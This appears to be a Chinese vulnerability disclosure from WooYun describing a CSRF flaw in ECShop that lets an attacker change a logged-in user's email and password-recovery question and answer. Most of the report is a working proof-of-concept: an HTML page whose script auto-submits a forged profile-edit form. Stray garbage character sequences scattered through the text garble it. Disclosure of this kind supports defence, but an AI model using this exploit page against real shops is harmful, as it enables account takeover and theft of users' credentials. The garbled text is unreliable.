ecshop修改任意用户密码漏洞的CSRF利用

admin

简要描述：
% X" [" ]  q- Decshop在设计认证机制的时候存在一个问题，导致恶意用户可以窃取其他用户的密码，这个过程可以通过xss和csrf实现
/ l1 K% G5 h' B$ I# U! K- h
2 m* R) a/ V/ h; T' HDemo For:http://www.wooyun.org/bug.php?action=view&id=395

3 l% V  M& k3 x详细说明：
利用csrf和xss可以突破官方所说的“障碍”
xss版本已经有人说明
这里给出csrf版本

( K3 }! d. [- V6 P0 N+ X: o& u' r$ r漏洞证明：
1 ]) Z2 d# O$ L# v5 c1 E( [<html>
<body>
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
# i" ^% M* b( W<INPUT TYPE="text" NAME="act" value="act_edit_profile">
. i5 Z0 S& K  Z<INPUT TYPE="text" NAME="sel_question" value="ecshop">
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
  H; P- w5 V0 Y0 y6 d</body>
<script>
document.forms[0].submit();
</script>
, E- I- ^+ k6 I5 h9 C; Y</html>
构造该网页，用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
8 J. h- h- [0 |. T& t0 W2 y) K